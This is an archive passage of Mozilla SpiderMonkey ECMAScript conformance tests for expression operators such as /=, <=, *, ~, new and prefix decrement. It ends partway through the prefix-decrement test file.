mozjs17.0.0/js/src/tests/ecma/Expressions/11.13.2-2.js0000664000175000017500000002122312106270663021675 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.13.2-2js ECMA Section: 11.13.2 Compound Assignment: /= Description: *= /= %= += -= <<= >>= >>>= &= ^= |= 11.13.2 Compound assignment ( op= ) The production AssignmentExpression : LeftHandSideExpression @ = AssignmentExpression, where @ represents one of the operators indicated above, is evaluated as follows: 1. Evaluate LeftHandSideExpression. 2. Call GetValue(Result(1)). 3. Evaluate AssignmentExpression. 4. Call GetValue(Result(3)). 5. Apply operator @ to Result(2) and Result(4). 6. Call PutValue(Result(1), Result(5)). 7. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.13.2-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Compound Assignment: /="); // NaN cases new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 /= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 /= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 /= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 /= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 /= VAR2", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 /= VAR2; VAR1", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 /= VAR2; VAR1") ); // number cases new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 /= VAR2", 0, eval("VAR1 = 0; VAR2=1; VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 /= VAR2;VAR1", 0, eval("VAR1 = 0; VAR2=1; VAR1 /= VAR2;VAR1") ); new TestCase( SECTION, "VAR1 = 0xFF; VAR2 = 0xA, VAR1 /= VAR2", 25.5, eval("VAR1 = 0XFF; VAR2 = 0XA, VAR1 /= VAR2") ); // special division cases new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR1 /= VAR2", 0, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR1 /= VAR2", 0, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR1 /= VAR2", 0, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR1 /= VAR2", 0, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR2 /= VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR2 /= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR2 /= VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR2 /= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR2 /= VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 /= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR2 /= VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 /= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = Infinity; VAR2= Infinity; VAR1 /= VAR2", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = Infinity; VAR2= -Infinity; VAR1 /= VAR2", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2= Infinity; VAR1 /= VAR2", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2=-Infinity; VAR1 /= VAR2", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= 0; VAR1 /= VAR2", Number.NaN, eval("VAR1 = 0; VAR2 = 0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -0; VAR1 /= VAR2", Number.NaN, eval("VAR1 = 0; VAR2 = -0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= 0; VAR1 /= VAR2", Number.NaN, eval("VAR1 = -0; VAR2 = 0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -0; VAR1 /= VAR2", Number.NaN, eval("VAR1 = -0; VAR2 = -0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 1; VAR2= 0; VAR1 /= VAR2", Number.POSITIVE_INFINITY, eval("VAR1 = 1; VAR2 = 0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 1; VAR2= -0; VAR1 /= VAR2", Number.NEGATIVE_INFINITY, eval("VAR1 = 1; VAR2 = -0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -1; VAR2= 0; VAR1 /= VAR2", Number.NEGATIVE_INFINITY, eval("VAR1 = -1; VAR2 = 0; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -1; VAR2= -0; VAR1 /= VAR2", Number.POSITIVE_INFINITY, eval("VAR1 = -1; VAR2 = -0; VAR1 /= VAR2; VAR1") ); // string cases new TestCase( SECTION, "VAR1 = 1000; VAR2 = '10', VAR1 /= VAR2; VAR1", 100, eval("VAR1 = 1000; VAR2 = '10', VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = '1000'; VAR2 = 10, VAR1 /= VAR2; VAR1", 100, eval("VAR1 = '1000'; VAR2 = 10, VAR1 /= VAR2; VAR1") ); /* new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 /= VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 /= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 /= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 /= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 /= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 /= VAR2") ); // boolean cases new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 /= VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 /= VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 /= VAR2") ); // object cases new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 /= VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 /= VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 /= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 /= VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 /= VAR2") ); new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 /= VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 /= VAR2") ); */ test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.8.3.js0000664000175000017500000001250412106270663021465 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.8.3.js ECMA Section: 11.8.3 The less-than-or-equal operator ( <= ) Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.8.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The less-than-or-equal operator ( <= )"); new TestCase( SECTION, "true <= false", false, true <= false ); new TestCase( SECTION, "false <= true", true, false <= true ); new TestCase( SECTION, "false <= false", true, false <= false ); new TestCase( SECTION, "true <= true", true, true <= true ); new TestCase( SECTION, "new Boolean(true) <= new Boolean(true)", true, new Boolean(true) <= new Boolean(true) ); new TestCase( SECTION, "new Boolean(true) <= new Boolean(false)", false, new Boolean(true) <= new Boolean(false) ); new TestCase( SECTION, "new Boolean(false) <= new Boolean(true)", true, new Boolean(false) <= new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) <= new Boolean(false)", true, new Boolean(false) <= new Boolean(false) ); new TestCase( SECTION, "new MyObject(Infinity) <= new MyObject(Infinity)", true, new MyObject( Number.POSITIVE_INFINITY ) <= new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) <= new MyObject(Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) <= new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) <= new MyObject(-Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) <= new MyObject( Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "new MyValueObject(false) <= new MyValueObject(true)", true, new MyValueObject(false) <= new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(true) <= new MyValueObject(true)", true, new MyValueObject(true) <= new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(false) <= new MyValueObject(false)", true, new MyValueObject(false) <= new MyValueObject(false) ); new TestCase( SECTION, "new MyStringObject(false) <= new MyStringObject(true)", true, new MyStringObject(false) <= new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(true) <= new MyStringObject(true)", true, new MyStringObject(true) <= new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(false) <= new MyStringObject(false)", true, new MyStringObject(false) <= new MyStringObject(false) ); new TestCase( SECTION, "Number.NaN <= Number.NaN", false, Number.NaN <= Number.NaN ); new TestCase( SECTION, "0 <= Number.NaN", false, 0 <= Number.NaN ); new TestCase( SECTION, "Number.NaN <= 0", false, Number.NaN <= 0 ); new TestCase( SECTION, "0 <= -0", true, 0 <= -0 ); new TestCase( SECTION, "-0 <= 0", true, -0 <= 0 ); new TestCase( SECTION, "Infinity <= 0", false, Number.POSITIVE_INFINITY <= 0 ); new TestCase( SECTION, "Infinity <= Number.MAX_VALUE", false, Number.POSITIVE_INFINITY <= Number.MAX_VALUE ); new TestCase( SECTION, "Infinity <= Infinity", true, Number.POSITIVE_INFINITY <= Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 <= Infinity", true, 0 <= Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE <= Infinity", true, Number.MAX_VALUE <= Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 <= -Infinity", false, 0 <= Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE <= -Infinity", false, Number.MAX_VALUE <= Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity <= -Infinity", true, Number.NEGATIVE_INFINITY <= Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity <= 0", true, Number.NEGATIVE_INFINITY <= 0 ); new TestCase( SECTION, "-Infinity <= -Number.MAX_VALUE", true, Number.NEGATIVE_INFINITY <= -Number.MAX_VALUE ); new TestCase( SECTION, "-Infinity <= Number.MIN_VALUE", true, Number.NEGATIVE_INFINITY <= Number.MIN_VALUE ); new TestCase( SECTION, "'string' <= 'string'", true, 'string' <= 'string' ); new TestCase( SECTION, "'astring' <= 'string'", true, 'astring' <= 'string' ); new TestCase( SECTION, "'strings' <= 'stringy'", true, 'strings' <= 'stringy' ); new TestCase( SECTION, "'strings' <= 'stringier'", false, 'strings' <= 'stringier' ); new TestCase( SECTION, "'string' <= 'astring'", false, 'string' <= 'astring' ); new TestCase( SECTION, "'string' <= 'strings'", true, 'string' <= 'strings' ); test(); function MyObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); this.toString = new Function( "return this.value +''" ); } function MyValueObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); } function MyStringObject(value) { this.value = value; this.toString = new Function( "return this.value +''" ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.12-2-n.js0000664000175000017500000000263112106270663021771 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.12-2-n.js ECMA Section: 11.12 Description: The grammar for a ConditionalExpression in ECMAScript is a little bit different from that in C and Java, which each allow the second subexpression to be an Expression but restrict the third expression to be a ConditionalExpression. The motivation for this difference in ECMAScript is to allow an assignment expression to be governed by either arm of a conditional and to eliminate the confusing and fairly useless case of a comma expression as the center expression. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.12-2-n"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Conditional operator ( ? : )"); // the following expression should be an error in JS. DESCRIPTION = "var MYVAR = true ? 'EXPR1', 'EXPR2' : 'EXPR3'; MYVAR"; EXPECTED = "error"; new TestCase( SECTION, "var MYVAR = true ? 'EXPR1', 'EXPR2' : 'EXPR3'; MYVAR", "error", eval("var MYVAR = true ? 'EXPR1', 'EXPR2' : 'EXPR3'; MYVAR") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.5.1.js0000664000175000017500000001217112106270663021460 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.5.1.js ECMA Section: 11.5.1 Applying the * operator Description: 11.5.1 Applying the * operator The * operator performs multiplication, producing the product of its operands. Multiplication is commutative. Multiplication is not always associative in ECMAScript, because of finite precision. The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetic: If either operand is NaN, the result is NaN. The sign of the result is positive if both operands have the same sign, negative if the operands have different signs. Multiplication of an infinity by a zero results in NaN. Multiplication of an infinity by an infinity results in an infinity. The sign is determined by the rule already stated above. Multiplication of an infinity by a finite non-zero value results in a signed infinity. The sign is determined by the rule already stated above. In the remaining cases, where neither an infinity or NaN is involved, the product is computed and rounded to the nearest representable value using IEEE 754 round-to-nearest mode. If the magnitude is too large to represent, the result is then an infinity of appropriate sign. If the magnitude is oo small to represent, the result is then a zero of appropriate sign. The ECMAScript language requires support of gradual underflow as defined by IEEE 754. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.5.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Applying the * operator"); new TestCase( SECTION, "Number.NaN * Number.NaN", Number.NaN, Number.NaN * Number.NaN ); new TestCase( SECTION, "Number.NaN * 1", Number.NaN, Number.NaN * 1 ); new TestCase( SECTION, "1 * Number.NaN", Number.NaN, 1 * Number.NaN ); new TestCase( SECTION, "Number.POSITIVE_INFINITY * 0", Number.NaN, Number.POSITIVE_INFINITY * 0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY * 0", Number.NaN, Number.NEGATIVE_INFINITY * 0 ); new TestCase( SECTION, "0 * Number.POSITIVE_INFINITY", Number.NaN, 0 * Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 * Number.NEGATIVE_INFINITY", Number.NaN, 0 * Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-0 * Number.POSITIVE_INFINITY", Number.NaN, -0 * Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-0 * Number.NEGATIVE_INFINITY", Number.NaN, -0 * Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY * -0", Number.NaN, Number.POSITIVE_INFINITY * -0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY * -0", Number.NaN, Number.NEGATIVE_INFINITY * -0 ); new TestCase( SECTION, "0 * -0", -0, 0 * -0 ); new TestCase( SECTION, "-0 * 0", -0, -0 * 0 ); new TestCase( SECTION, "-0 * -0", 0, -0 * -0 ); new TestCase( SECTION, "0 * 0", 0, 0 * 0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY * Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY * Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY * Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY * Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY * Number.POSITIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY * Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY * Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY * Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY * 1 ", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY * 1 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY * -1 ", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY * -1 ); new TestCase( SECTION, "1 * Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY, 1 * Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-1 * Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY, -1 * Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY * 1 ", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY * 1 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY * -1 ", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY * -1 ); new TestCase( SECTION, "1 * Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY, 1 * Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-1 * Number.POSITIVE_INFINITY", Number.NEGATIVE_INFINITY, -1 * Number.POSITIVE_INFINITY ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-4-n.js0000664000175000017500000000424412106270663022054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-4-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-4-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var STRING = ""; DESCRIPTION = "STRING = '', var s = new STRING()"; EXPECTED = "error"; new TestCase( SECTION, "STRING = '', var s = new STRING()", "error", eval("s = new STRING()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.1-3-n.js0000664000175000017500000000540112106270663022046 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.1-2.js ECMA Section: 11.2.1 Property Accessors Description: Properties are accessed by name, using either the dot notation: MemberExpression . Identifier CallExpression . Identifier or the bracket notation: MemberExpression [ Expression ] CallExpression [ Expression ] The dot notation is explained by the following syntactic conversion: MemberExpression . Identifier is identical in its behavior to MemberExpression [ ] and similarly CallExpression . Identifier is identical in its behavior to CallExpression [ ] where is a string literal containing the same sequence of characters as the Identifier. The production MemberExpression : MemberExpression [ Expression ] is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Expression. 4. Call GetValue(Result(3)). 5. Call ToObject(Result(2)). 6. Call ToString(Result(4)). 7. Return a value of type Reference whose base object is Result(5) and whose property name is Result(6). The production CallExpression : CallExpression [ Expression ] is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Property Accessors"; writeHeaderToLog( SECTION + " "+TITLE ); // go through all Native Function objects, methods, and properties and get their typeof. var PROPERTY = new Array(); var p = 0; // try to access properties of primitive types PROPERTY[p++] = new Property( "undefined", void 0, "undefined", NaN ); for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) { DESCRIPTION = PROPERTY[i].object + ".valueOf()"; EXPECTED = "error"; new TestCase( SECTION, PROPERTY[i].object + ".valueOf()", PROPERTY[i].value, eval( PROPERTY[i].object+ ".valueOf()" ) ); new TestCase( SECTION, PROPERTY[i].object + ".toString()", PROPERTY[i].string, eval(PROPERTY[i].object+ ".toString()") ); } test(); function MyObject( value ) { this.value = value; this.stringValue = value +""; this.numberValue = Number(value); return this; } function Property( object, value, string, number ) { this.object = object; this.string = String(value); this.number = Number(value); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.8.js0000664000175000017500000000707112106270663021471 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.8.js ECMA Section: 11.4.8 Bitwise NOT Operator Description: flip bits up to 32 bits no special cases Author: christine@netscape.com Date: 7 july 1997 Data File Fields: VALUE value passed as an argument to the ~ operator E_RESULT expected return value of ~ VALUE; Static variables: none */ var SECTION = "11.4.8"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Bitwise Not operator"); for ( var i = 0; i < 35; i++ ) { var p = Math.pow(2,i); new TestCase( SECTION, "~"+p, Not(p), ~p ); } for ( i = 0; i < 35; i++ ) { var p = -Math.pow(2,i); new TestCase( SECTION, "~"+p, Not(p), ~p ); } test(); function ToInteger( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( n != n ) { return 0; } if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) { return n; } return ( sign * Math.floor(Math.abs(n)) ); } function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; return ( n ); } function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } function ToUint16( n ) { var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16); if (n <0) { n += Math.pow(2,16); } return ( n ); } function Mask( b, n ) { b = ToUint32BitString( b ); b = b.substring( b.length - n ); b = ToUint32Decimal( b ); return ( b ); } function ToUint32BitString( n ) { var b = ""; for ( var p = 31; p >=0; p-- ) { if ( n >= Math.pow(2,p) ) { b += "1"; n -= Math.pow(2,p); } else { b += "0"; } } return b; } function ToInt32BitString( n ) { var b = ""; var sign = ( n < 0 ) ? -1 : 1; b += ( sign == 1 ) ? "0" : "1"; for ( var p = 30; p >=0; p-- ) { if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) { b += ( sign == 1 ) ? "1" : "0"; n -= sign * Math.pow( 2, p ); } else { b += ( sign == 1 ) ? "0" : "1"; } } return b; } function ToInt32Decimal( bin ) { var r = 0; var sign; if ( Number(bin.charAt(0)) == 0 ) { sign = 1; r = 0; } else { sign = -1; r = -(Math.pow(2,31)); } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function ToUint32Decimal( bin ) { var r = 0; for ( var l = bin.length; l < 32; l++ ) { bin = "0" + bin; } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function Not( n ) { n = ToInt32(n); n = ToInt32BitString(n); var r = ""; for( var l = 0; l < n.length; l++ ) { r += ( n.charAt(l) == "0" ) ? "1" : "0"; } n = ToInt32Decimal(r); return n; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.5.js0000664000175000017500000001744112106270663021470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.5.js ECMA Section: 11.4.5 Prefix decrement operator Description: The production UnaryExpression : -- UnaryExpression is evaluated as follows: 1.Evaluate UnaryExpression. 2.Call GetValue(Result(1)). 3.Call ToNumber(Result(2)). 4.Subtract the value 1 from Result(3), using the same rules as for the - operator (section 11.6.3). 5.Call PutValue(Result(1), Result(4)). 1.Return Result(4). Author: christine@netscape.com Date: \ 12 november 1997 */ var SECTION = "11.4.5"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Prefix decrement operator"); // new TestCase( SECTION, "var MYVAR; --MYVAR", NaN, eval("var MYVAR; --MYVAR") ); new TestCase( SECTION, "var MYVAR= void 0; --MYVAR", NaN, eval("var MYVAR=void 0; --MYVAR") ); new TestCase( SECTION, "var MYVAR=null; --MYVAR", -1, eval("var MYVAR=null; --MYVAR") ); new TestCase( SECTION, "var MYVAR=true; --MYVAR", 0, eval("var MYVAR=true; --MYVAR") ); new TestCase( SECTION, "var MYVAR=false; --MYVAR", -1, eval("var MYVAR=false; --MYVAR") ); // special numbers // verify return value new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;--MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;--MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NaN;--MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;--MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;--MYVAR;MYVAR", Number.POSITIVE_INFINITY, eval("var 